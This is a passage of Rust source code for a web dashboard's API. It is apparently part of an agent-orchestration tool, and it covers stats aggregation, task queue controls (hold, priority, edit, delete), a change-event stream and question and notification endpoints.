4416/// value, `None` when `rounds` is zero.
4417#[derive(Debug, Serialize)]
4418struct ReviewerStatsView {
4419    agent: String,
4420    rounds: usize,
4421    seated: usize,
4422    submitted: usize,
4423    adopted: usize,
4424    unique: usize,
4425    timeouts: usize,
4426    adopted_per_round: Option<f64>,
4427    precision: Option<RateView>,
4428    unique_rate: Option<RateView>,
4429    timeout_rate: Option<RateView>,
4430}
4431
4432impl From<&stats::ReviewerStats> for ReviewerStatsView {
4433    fn from(r: &stats::ReviewerStats) -> Self {
4434        Self {
4435            agent: r.agent.clone(),
4436            rounds: r.rounds,
4437            seated: r.seated,
4438            submitted: r.submitted,
4439            adopted: r.adopted,
4440            unique: r.unique,
4441            timeouts: r.timeouts,
4442            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4443            precision: RateView::of(r.adopted, r.submitted),
4444            unique_rate: RateView::of(r.unique, r.submitted),
4445            timeout_rate: RateView::of(r.timeouts, r.seated),
4446        }
4447    }
4448}
4449
4450/// [`crate::stats::AdvisorStats`] for the wire.
4451///
4452/// `reflection_rate` is approximate by construction — see
4453/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4454/// that caveat is static text in `index.html`, not a field here.
4455#[derive(Debug, Serialize)]
4456struct AdvisorStatsView {
4457    agent: String,
4458    seated: usize,
4459    proposed: usize,
4460    absent: usize,
4461    faint: usize,
4462    strong: usize,
4463    reflection_rate: Option<RateView>,
4464}
4465
4466impl From<&stats::AdvisorStats> for AdvisorStatsView {
4467    fn from(a: &stats::AdvisorStats) -> Self {
4468        Self {
4469            agent: a.agent.clone(),
4470            seated: a.seated,
4471            proposed: a.proposed,
4472            absent: a.absent,
4473            faint: a.faint,
4474            strong: a.strong,
4475            reflection_rate: RateView::of(a.strong, a.proposed),
4476        }
4477    }
4478}
4479
4480/// [`crate::stats::E2eStats`] for the wire.
4481#[derive(Debug, Serialize)]
4482struct E2eStatsView {
4483    rounds: usize,
4484    failures: usize,
4485    sole_detections: usize,
4486    deferred: usize,
4487    sole_rate: Option<RateView>,
4488}
4489
4490impl From<&stats::E2eStats> for E2eStatsView {
4491    fn from(e: &stats::E2eStats) -> Self {
4492        Self {
4493            rounds: e.rounds,
4494            failures: e.failures,
4495            sole_detections: e.sole_detections,
4496            deferred: e.deferred,
4497            sole_rate: RateView::of(e.sole_detections, e.failures),
4498        }
4499    }
4500}
4501
4502/// [`crate::stats::ReleaseBumpStats`] for the wire.
4503///
4504/// `clean` is sent as a raw count, computed the same way
4505/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4506/// needs_attention`) — never derived client-side from `automerge_enabled`,
4507/// which would misclassify a `merged_directly` bump (automerge rejected, but
4508/// magi merged it directly, so no human involvement) as needing attention.
4509#[derive(Debug, Serialize)]
4510struct ReleaseBumpStatsView {
4511    merged: usize,
4512    recorded: usize,
4513    pr_opened: usize,
4514    automerge_enabled: usize,
4515    merged_directly: usize,
4516    needs_attention: usize,
4517    clean: usize,
4518    coverage_rate: Option<RateView>,
4519    automerge_rate: Option<RateView>,
4520    attention_rate: Option<RateView>,
4521}
4522
4523impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4524    fn from(b: &stats::ReleaseBumpStats) -> Self {
4525        Self {
4526            merged: b.merged,
4527            recorded: b.recorded,
4528            pr_opened: b.pr_opened,
4529            automerge_enabled: b.automerge_enabled,
4530            merged_directly: b.merged_directly,
4531            needs_attention: b.needs_attention,
4532            clean: b.clean(),
4533            coverage_rate: RateView::of(b.recorded, b.merged),
4534            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4535            attention_rate: RateView::of(b.needs_attention, b.recorded),
4536        }
4537    }
4538}
4539
4540/// [`crate::queue::TaskCounts`] for the wire.
4541#[derive(Debug, Serialize)]
4542struct TaskCountsView {
4543    queued: usize,
4544    running: usize,
4545    done: usize,
4546    failed: usize,
4547    held: usize,
4548    blocked: usize,
4549}
4550
4551impl From<crate::queue::TaskCounts> for TaskCountsView {
4552    fn from(c: crate::queue::TaskCounts) -> Self {
4553        Self {
4554            queued: c.queued,
4555            running: c.running,
4556            done: c.done,
4557            failed: c.failed,
4558            held: c.held,
4559            blocked: c.blocked,
4560        }
4561    }
4562}
4563
4564/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4565/// runs recorded — the summary the UI's repository selector is built from.
4566/// Carries no nested `Stats`: picking a repo means re-fetching
4567/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4568/// aggregation rather than duplicating it.
4569#[derive(Debug, Serialize)]
4570struct RepoSummaryView {
4571    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4572    /// against, full path and all (see [`stats_get`]'s own doc for why).
4573    repo: String,
4574    /// Display name only; never used for matching.
4575    name: String,
4576    runs: usize,
4577    completion_rate: Option<RateView>,
4578}
4579
4580impl From<&stats::RepoStats> for RepoSummaryView {
4581    fn from(r: &stats::RepoStats) -> Self {
4582        let t = &r.stats.totals;
4583        Self {
4584            repo: r.repo.to_string_lossy().into_owned(),
4585            name: r.name.clone(),
4586            runs: t.runs,
4587            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4588        }
4589    }
4590}
4591
4592/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4593/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4594/// renders from them) are free to grow without that becoming a wire-contract
4595/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4596/// data" from "computed and it really is zero" the way [`RateView`] does.
4597#[derive(Debug, Serialize)]
4598struct StatsView {
4599    totals: StatsTotalsView,
4600    /// Best win rate first, as [`stats::collect`] already sorts it.
4601    agents: Vec<AgentStatsView>,
4602    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4603    reviewers: Vec<ReviewerStatsView>,
4604    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4605    advisors: Vec<AdvisorStatsView>,
4606    e2e: E2eStatsView,
4607    release_bumps: ReleaseBumpStatsView,
4608    queue: TaskCountsView,
4609    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4610    /// that field's doc. Asserted to match it in
4611    /// `stats_runs_unreadable_matches_health`.
4612    ///
4613    /// Always the whole-workload count, even when `repo` narrows every other
4614    /// field to one repository - an unreadable `run.json` carries no `repo`
4615    /// a per-repository count could attribute it to, and the queue/health
4616    /// views this mirrors never scope it either. The UI must not present it
4617    /// as if it were scoped to the selected repository.
4618    runs_unreadable: usize,
4619    /// Every repository with runs recorded, most runs first - what the UI's
4620    /// repository selector is built from. Always the full list regardless of
4621    /// `repo`, so switching repositories never needs a second request.
4622    repos: Vec<RepoSummaryView>,
4623    /// The `?repo=` value this response was narrowed to, echoed back so the
4624    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4625    /// all-repositories view.
4626    repo: Option<String>,
4627}
4628
4629/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4630/// repository. Matched by full-path equality against `RunState.repo` only
4631/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4632/// `--repo` is, because the value here always came from this same route's
4633/// own `repos` list in an earlier response, never typed by a human. A value
4634/// matching no run is a 404, not an empty aggregate: the caller asked for a
4635/// specific, named repository, and silently returning zeroes would look
4636/// exactly like a repository that has runs but none of interest.
4637#[derive(Debug, Default, Deserialize)]
4638#[serde(default)]
4639struct StatsQuery {
4640    repo: Option<String>,
4641}
4642
4643/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4644/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4645/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4646/// prints from. Reads every readable run on disk, exactly as
4647/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4648/// a separately-maintained tally could.
4649async fn stats_get(
4650    State(ui): State<Arc<Ui>>,
4651    Query(q): Query<StatsQuery>,
4652) -> ApiResult<Json<StatsView>> {
4653    blocking(move || {
4654        let states: Vec<RunState> = run_ids(&ui.runs)
4655            .into_iter()
4656            .filter_map(|id| read_run(&ui.runs, &id).ok())
4657            .collect();
4658        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4659            .iter()
4660            .map(RepoSummaryView::from)
4661            .collect();
4662        let collected = match &q.repo {
4663            Some(repo) => {
4664                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4665                if filtered.is_empty() {
4666                    return Err(ApiError::not_found(format!(
4667                        "no runs recorded against repo `{repo}`"
4668                    )));
4669                }
4670                stats::collect_refs(filtered)
4671            }
4672            None => stats::collect(&states),
4673        };
4674        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4675        Ok(Json(StatsView {
4676            totals: StatsTotalsView::from(&collected.totals),
4677            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4678            reviewers: collected
4679                .reviewers
4680                .iter()
4681                .map(ReviewerStatsView::from)
4682                .collect(),
4683            advisors: collected
4684                .advisors
4685                .iter()
4686                .map(AdvisorStatsView::from)
4687                .collect(),
4688            e2e: E2eStatsView::from(&collected.e2e),
4689            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4690            queue: TaskCountsView::from(queue_counts),
4691            runs_unreadable: runs_unreadable(&ui.runs),
4692            repos,
4693            repo: q.repo.clone(),
4694        }))
4695    })
4696    .await
4697}
4698
4699/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4700/// gives no reason - which must keep working, since not every hold has one.
4701#[derive(Debug, Default, Deserialize)]
4702#[serde(default, deny_unknown_fields)]
4703struct HoldBody {
4704    reason: Option<String>,
4705}
4706
4707async fn queue_hold(
4708    State(ui): State<Arc<Ui>>,
4709    Path(id): Path<String>,
4710    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4711) -> ApiResult<Json<TaskView>> {
4712    // An absent body is the ordinary case - most holds are unexplained, and
4713    // that has to stay a one-tap action rather than a form. A body that is
4714    // present and malformed is still a bad request.
4715    let body = match body {
4716        Ok(Json(body)) => body,
4717        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4718        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4719    };
4720    let reason = body.reason.filter(|r| !r.trim().is_empty());
4721    mutate(ui, id, move |t| {
4722        t.hold_manual(reason.clone());
4723        Ok(())
4724    })
4725    .await
4726}
4727
4728async fn queue_release(
4729    State(ui): State<Arc<Ui>>,
4730    Path(id): Path<String>,
4731) -> ApiResult<Json<TaskView>> {
4732    mutate(ui, id, |t| {
4733        t.release();
4734        Ok(())
4735    })
4736    .await
4737}
4738
4739/// The body of `POST /api/queue/{id}/priority`.
4740#[derive(Debug, Deserialize)]
4741#[serde(deny_unknown_fields)]
4742struct PriorityBody {
4743    priority: i32,
4744}
4745
4746/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4747///
4748/// [`Task::set_priority`] is the one place the "not while running" rule is
4749/// stated; this route only carries the body to it and lets its `Err` become
4750/// the 4xx the card shows.
4751async fn queue_priority(
4752    State(ui): State<Arc<Ui>>,
4753    Path(id): Path<String>,
4754    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4755) -> ApiResult<Json<TaskView>> {
4756    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4757    mutate(ui, id, move |t| t.set_priority(body.priority)).await
4758}
4759
4760/// The body of `POST /api/queue/{id}/edit`.
4761#[derive(Debug, Deserialize)]
4762#[serde(deny_unknown_fields)]
4763struct EditBody {
4764    title: String,
4765    instruction: String,
4766    /// Save even though the new text names a branch, commit or pull request
4767    /// that unfinished work already owns.
4768    #[serde(default)]
4769    force: bool,
4770}
4771
4772/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
4773/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
4774/// that refusal's message is what the sheet shows back.
4775async fn queue_edit(
4776    State(ui): State<Arc<Ui>>,
4777    Path(id): Path<String>,
4778    body: std::result::Result<Json<EditBody>, JsonRejection>,
4779) -> ApiResult<Json<TaskView>> {
4780    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4781    // The judge is an agent call, so it is awaited here, outside the claim
4782    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
4783    // remembered, and the save refuses if the task moved underneath it.
4784    let mut judged: Option<(String, PathBuf)> = None;
4785    if !body.force {
4786        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4787        let (id, text) = (id.clone(), body.instruction.clone());
4788        let (seen, hits) = blocking(move || {
4789            let id = resolve_task(&queue, &id)?;
4790            let t = queue.get(&id)?;
4791            if text == t.instruction {
4792                return Ok((None, Vec::new()));
4793            }
4794            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4795            Ok((Some((t.instruction, t.repo)), hits))
4796        })
4797        .await?;
4798        if let Some((_, repo)) = &seen {
4799            let cfg = crate::config::Config::discover(repo, None)
4800                .ok()
4801                .map(|(c, _)| c);
4802            crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4803                .await
4804                .map_err(|dup| {
4805                    ApiError::conflict(dup.render(
4806                        "Nothing was saved. If it is not a duplicate, repeat the request with \
4807                         \"force\": true.",
4808                    ))
4809                })?;
4810        }
4811        judged = seen;
4812    }
4813    let force = body.force;
4814    mutate(ui, id, move |t| {
4815        if !force && body.instruction != t.instruction {
4816            match &judged {
4817                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4818                _ => {
4819                    anyhow::bail!("the task changed while it was being checked; repeat the request")
4820                }
4821            }
4822        }
4823        t.edit(body.title.clone(), body.instruction.clone())
4824    })
4825    .await
4826}
4827
4828/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4829/// it, so the phone's other way to clear a task from the backlog does not
4830/// have to cost the run history, the attribution, and `created_at` the way
4831/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4832/// can be marked done by hand, because this is for the run the loop never
4833/// saw land - a merge done by hand, or a gate that misreported - and that can
4834/// happen from any status the task was left in.
4835async fn queue_done(
4836    State(ui): State<Arc<Ui>>,
4837    Path(id): Path<String>,
4838) -> ApiResult<Json<TaskView>> {
4839    let home = ui.home.clone();
4840    mutate(ui, id, move |t| {
4841        t.succeed();
4842        // Same as the loop's own settle path: closing a task by hand is just
4843        // as much "this task's story is over" as a daemon-driven `Merged`/
4844        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4845        // behind must stop looking like it still needs a human. `ui.home`,
4846        // not the process-global `run::home()`: they agree in a real
4847        // process, but only `ui.home` also agrees with a test fixture's own
4848        // directory.
4849        crate::daemon::supersede_prior_runs(t, &home);
4850        Ok(())
4851    })
4852    .await
4853}
4854
4855/// `DELETE /api/queue/{id}`.
4856///
4857/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4858/// names this task: a `running` status or an orphaned `.lock` left behind by a
4859/// killed daemon is a leftover, and treating either as authority made the
4860/// task undeletable from the phone for good. The associated runs, if any, are
4861/// kept: a run is self-contained history and not an appendage of the task.
4862async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4863    blocking(move || {
4864        let id = resolve_task(&ui.queue, &id)?;
4865        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4866        ui.queue
4867            .remove(&id, in_flight, &ui.questions)
4868            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4869        Ok(StatusCode::NO_CONTENT)
4870    })
4871    .await
4872}
4873
4874/// Read a task, change it, write it back, under the queue's own lock.
4875///
4876/// Taking the same claim a daemon takes is what makes hold, release,
4877/// priority, edit, and done safe to press while magi is running: without it
4878/// the daemon's next save would land on top of the operator's change and
4879/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4880/// both do, for a running task - and that refusal becomes the 4xx the card
4881/// shows, same as any other domain rule.
4882async fn mutate(
4883    ui: Arc<Ui>,
4884    id: String,
4885    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4886) -> ApiResult<Json<TaskView>> {
4887    blocking(move || {
4888        let id = resolve_task(&ui.queue, &id)?;
4889        // `claim` fails when the lock file already exists, which is the
4890        // conflict the UI must report: the daemon owns that task's file for
4891        // as long as it is running it, and our write would be lost under its
4892        // next save. The message names the lock either way.
4893        let _claim = ui.queue.claim(&id).map_err(|e| {
4894            ApiError::conflict(format!(
4895                "{e:#} - a daemon is running this task, so it cannot be \
4896                 changed from here yet"
4897            ))
4898        })?;
4899        let mut task = ui.queue.get(&id)?;
4900        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4901            Ok(dup) => ApiError::conflict(dup.render(
4902                "Nothing was saved. If it is not a duplicate, repeat the request with \
4903                 \"force\": true.",
4904            )),
4905            Err(e) => ApiError::bad_request_from(e),
4906        })?;
4907        ui.queue.put(&mut task)?;
4908        Ok(Json(TaskView::from(task)))
4909    })
4910    .await
4911}
4912
4913/// The change stream: one revision number per store, on connect and whenever
4914/// any of them moves.
4915///
4916/// The poll runs in one spawned task per client, which is affordable because
4917/// the work is a directory scan and a `stat` per file. It stops as soon as the
4918/// receiver is gone, so a phone that walks out of range costs nothing after
4919/// its next tick - there is no session and no cleanup to forget.
4920async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4921    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4922    tokio::spawn(async move {
4923        let mut ticker = tokio::time::interval(POLL);
4924        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4925        loop {
4926            // The first tick completes immediately, which is what makes the
4927            // stream announce the current revisions on connect.
4928            ticker.tick().await;
4929            let state = Arc::clone(&ui);
4930            let revisions = tokio::task::spawn_blocking(move || {
4931                (
4932                    state.queue.revision(),
4933                    runs_revision(&state.runs),
4934                    state.questions.revision(),
4935                    state.talks.revision(),
4936                    state.notices.revision(),
4937                    // The loop's counter is in-process state rather than a
4938                    // file, so nothing the three stats above look at would
4939                    // tell this phone that another one started the loop.
4940                    state.lock_loop().rev,
4941                )
4942            })
4943            .await;
4944            let Ok(revisions) = revisions else { break };
4945            if last == Some(revisions) {
4946                continue;
4947            }
4948            last = Some(revisions);
4949            let payload = serde_json::json!({
4950                "queue_rev": revisions.0,
4951                "runs_rev": revisions.1,
4952                "questions_rev": revisions.2,
4953                "talks_rev": revisions.3,
4954                "notifications_rev": revisions.4,
4955                "loop_rev": revisions.5,
4956            });
4957            // Serializing five integers cannot fail; giving up beats looping.
4958            let Ok(event) = Event::default().event("change").json_data(payload) else {
4959                break;
4960            };
4961            if tx.send(event).await.is_err() {
4962                break;
4963            }
4964        }
4965    });
4966    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4967        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4968}
4969
4970/// Change detection token for recorded runs under `runs`.
4971///
4972/// Combines the id and `run.json` modification time of each run, so adding,
4973/// updating, or deleting any run — even an older one — moves the revision and
4974/// notifies connected clients via the change stream. Returns 0 when no runs
4975/// exist.
4976fn runs_revision(runs: &FsPath) -> u64 {
4977    use std::hash::{Hash as _, Hasher as _};
4978
4979    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4980        .into_iter()
4981        .flatten()
4982        .flatten()
4983        .filter_map(|e| {
4984            let path = e.path().join("run.json");
4985            let mtime = path
4986                .metadata()
4987                .ok()?
4988                .modified()
4989                .ok()?
4990                .duration_since(std::time::UNIX_EPOCH)
4991                .ok()?
4992                .as_millis() as u64;
4993            let id = e.file_name().to_string_lossy().into_owned();
4994            Some((id, mtime))
4995        })
4996        .collect();
4997
4998    if entries.is_empty() {
4999        return 0;
5000    }
5001
5002    entries.sort_unstable();
5003    let mut hasher = std::hash::DefaultHasher::new();
5004    for (id, mtime) in &entries {
5005        id.hash(&mut hasher);
5006        mtime.hash(&mut hasher);
5007    }
5008    let h = hasher.finish();
5009    if h == 0 { 1 } else { h }
5010}
5011
5012/// Run ids under `runs`, newest first.
5013///
5014/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5015/// which reads the process-global home: the server has to be drivable against
5016/// a temp directory for any of this to be testable.
5017fn run_ids(runs: &FsPath) -> Vec<String> {
5018    let mut ids: Vec<String> = std::fs::read_dir(runs)
5019        .into_iter()
5020        .flatten()
5021        .flatten()
5022        .filter(|e| e.path().join("run.json").is_file())
5023        .map(|e| e.file_name().to_string_lossy().into_owned())
5024        .collect();
5025    // Ids start with a sortable timestamp.
5026    ids.sort_unstable_by(|a, b| b.cmp(a));
5027    ids
5028}
5029
5030/// Read one run's state from an explicit runs root.
5031fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5032    let path = runs.join(id).join("run.json");
5033    let body =
5034        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5035    let state: RunState =
5036        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5037    // The same migration `RunState::load` applies, so a record from the
5038    // previous schema reads here as it does everywhere else (an origin-less
5039    // run shows as "origin unknown") instead of vanishing from the phone the
5040    // moment the schema is bumped.
5041    run::migrate_schema(state)
5042}
5043
5044/// Runs on disk under `runs` whose state this build cannot parse - almost
5045/// always a schema bump, occasionally a run killed mid-write.
5046///
5047/// Exposed so every surface that reports on runs shares one count instead of
5048/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5049/// `magi doctor` calls this directly rather than guessing at the same number
5050/// a second way.
5051#[must_use]
5052pub fn runs_unreadable(runs: &FsPath) -> usize {
5053    run_ids(runs)
5054        .into_iter()
5055        .filter(|id| read_run(runs, id).is_err())
5056        .count()
5057}
5058
5059/// Expand an id or short id to exactly one run id.
5060fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5061    if runs.join(id).join("run.json").is_file() {
5062        return Ok(id.to_owned());
5063    }
5064    pick(run_ids(runs), id, "run")
5065}
5066
5067/// Expand an id or short id to exactly one task id.
5068fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5069    if queue.path_of(id).is_file() {
5070        return Ok(id.to_owned());
5071    }
5072    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5073}
5074
5075/// A question as the phone reads it.
5076///
5077/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5078/// text already parsed into a node tree so the client never runs its own
5079/// markdown reader over agent-authored prose. A relative image path in it
5080/// resolves against this question's own panel asset route, which is the one
5081/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5082/// separate, sandboxed document, but `detail` is rendered inline in the
5083/// operator's own page, so an image reference in it may only ever point at
5084/// files magi itself already serves for this question.
5085#[derive(Debug, Serialize)]
5086struct QuestionView {
5087    #[serde(flatten)]
5088    question: Question,
5089    detail_md: Vec<md::Node>,
5090    /// Each thread turn's body, parsed; same order as `question.thread`.
5091    thread_bodies_md: Vec<Vec<md::Node>>,
5092    /// Is the ball in the agent's court right now?
5093    ///
5094    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5095    /// [`Question::say`] - so this is the one field that tells the phone to
5096    /// disable the answer controls and show "waiting for the agent" instead of
5097    /// a card the owner can act on. Computed rather than stored on
5098    /// [`Question`] itself, on the same reasoning as `waiting` on
5099    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5100    /// it here means the client never has to re-derive that rule.
5101    waiting_on_agent: bool,
5102    /// Who is waiting on this open question - see [`holder_of`]. Separate
5103    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5104    /// anyone is there to take it.
5105    holder: Option<&'static str>,
5106    /// Whether `magi serve` can start a follow-up agent for a conductor
5107    /// question at all: false when `daemon.max_deputies = 0` or the config is
5108    /// unreadable. Separate from `holder`, which says who is listening now.
5109    deputies_enabled: bool,
5110    /// `question.run` is a task id (conductor / triage questions), not a run
5111    /// id, so the UI links it to the task page.
5112    run_is_task: bool,
5113}
5114
5115impl QuestionView {
5116    /// The view of `question`, reading who is waiting on it from `store`.
5117    ///
5118    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5119    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5120        let base = md::ImageBase::QuestionPanel {
5121            id: question.id.clone(),
5122        };
5123        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5124        Self {
5125            detail_md: md::to_nodes(&question.detail, &base),
5126            thread_bodies_md: question
5127                .thread
5128                .iter()
5129                .map(|t| md::to_nodes(&t.body, &base))
5130                .collect(),
5131            waiting_on_agent: question.waiting_on_agent(),
5132            holder,
5133            deputies_enabled,
5134            run_is_task: question.run_names_task(),
5135            question,
5136        }
5137    }
5138}
5139
5140/// The config this repository resolves, or `None` when it cannot be read.
5141/// Discovering is git processes plus a config render, so a request that needs
5142/// it for many items takes it once and passes it down.
5143fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5144    Config::discover(repo, None).ok().map(|(c, _)| c)
5145}
5146
5147/// Can `magi serve` start a deputy for this question under `cfg`?
5148fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5149    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5150}
5151
5152/// The views `GET /api/questions` answers. `load` runs at most once, however
5153/// many questions there are, and not at all when there are none.
5154fn question_views(
5155    qs: Vec<Question>,
5156    store: &ask::Questions,
5157    load: impl FnOnce() -> Option<Config>,
5158) -> Vec<QuestionView> {
5159    if qs.is_empty() {
5160        return Vec::new();
5161    }
5162    let cfg = load();
5163    qs.into_iter()
5164        .map(|q| {
5165            let on = deputies_enabled(cfg.as_ref(), &q);
5166            QuestionView::of(q, store, on)
5167        })
5168        .collect()
5169}
5170
5171/// Who is honestly waiting on an open question right now: `"asker"` (the
5172/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5173/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5174/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5175/// up, or the question never had anyone listening (a conductor question or a
5176/// merge approval from before deputies, or not yet given one).
5177///
5178/// `None` for a question that is settled, and for one that is not an agent's
5179/// to wait on at all (a release notice).
5180fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5181    if !q.status.open() {
5182        return None;
5183    }
5184    if q.cwd.is_none() && q.deputy.is_none() {
5185        return (matches!(
5186            q.node.as_str(),
5187            crate::conduct::NODE | crate::land::APPROVAL_NODE
5188        ) || crate::deputy::kind_of(q) == Some(crate::deputy::Kind::Release))
5189        .then_some("nobody");
5190    }
5191    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5192        Some(_) if q.deputy.is_some() => "deputy",
5193        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5194        Some(_) => "asker",
5195        None => "nobody",
5196    })
5197}
5198
5199/// `GET /api/questions`.
5200///
5201/// Everything, not just the open ones: an answered question is the record of a
5202/// decision, and the phone is where the operator goes back to check what they
5203/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5204async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5205    blocking(move || {
5206        Ok(Json(question_views(
5207            ui.questions.list(),
5208            &ui.questions,
5209            || deputy_config(&ui.repo),
5210        )))
5211    })
5212    .await
5213}
5214
5215/// `GET /api/notifications`: not dismissed, newest first, with the unread
5216/// count so the badge and the list cannot disagree.
5217async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5218    blocking(move || {
5219        let items = ui.notices.list();
5220        let unread = items.iter().filter(|n| n.unread()).count();
5221        Ok(Json(
5222            serde_json::json!({ "unread": unread, "items": items }),
5223        ))
5224    })
5225    .await
5226}
5227
5228fn notice_error(e: anyhow::Error) -> ApiError {
5229    // An unknown or malformed id and a vanished file are the same answer to
5230    // the phone: that notification is gone.
5231    ApiError::not_found(format!("{e:#}"))
5232}
5233
5234/// `POST /api/notifications/{id}/read`.
5235async fn notification_read(
5236    State(ui): State<Arc<Ui>>,
5237    Path(id): Path<String>,
5238) -> ApiResult<Json<Notice>> {
5239    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5240}
5241
5242/// `POST /api/notifications/{id}/dismiss`.
5243async fn notification_dismiss(
5244    State(ui): State<Arc<Ui>>,
5245    Path(id): Path<String>,
5246) -> ApiResult<Json<Notice>> {
5247    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5248}
5249
5250/// `POST /api/notifications/read-all`.
5251async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5252    blocking(move || {
5253        let changed = ui.notices.mark_all_read()?;
5254        Ok(Json(serde_json::json!({ "marked": changed })))
5255    })
5256    .await
5257}
5258
5259/// The body of `POST /api/questions/{id}/answer`.
5260///
5261/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5262/// a bad request rather than a guess: an answer magi invented is worse than a
5263/// question left open.
5264#[derive(Debug, Default, Deserialize)]
5265#[serde(default, deny_unknown_fields)]
5266struct NewAnswer {
5267    choice: Option<String>,
5268    text: Option<String>,
5269}
5270
5271async fn question_answer(
5272    State(ui): State<Arc<Ui>>,
5273    Path(id): Path<String>,
5274    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5275) -> ApiResult<Json<QuestionView>> {
5276    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5277    let answer = match (body.choice, body.text) {
5278        (Some(c), None) => Answer::Choice(c),
5279        (None, Some(t)) => Answer::Text(t),
5280        (Some(_), Some(_)) => {
5281            return Err(ApiError::bad_request(
5282                "send either `choice` or `text`, not both",
5283            ));
5284        }
5285        (None, None) => {
5286            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5287        }
5288    };
5289
5290    blocking(move || {
5291        let id = resolve_question(&ui.questions, &id)?;
5292        let q = ui
5293            .questions
5294            .get(&id)
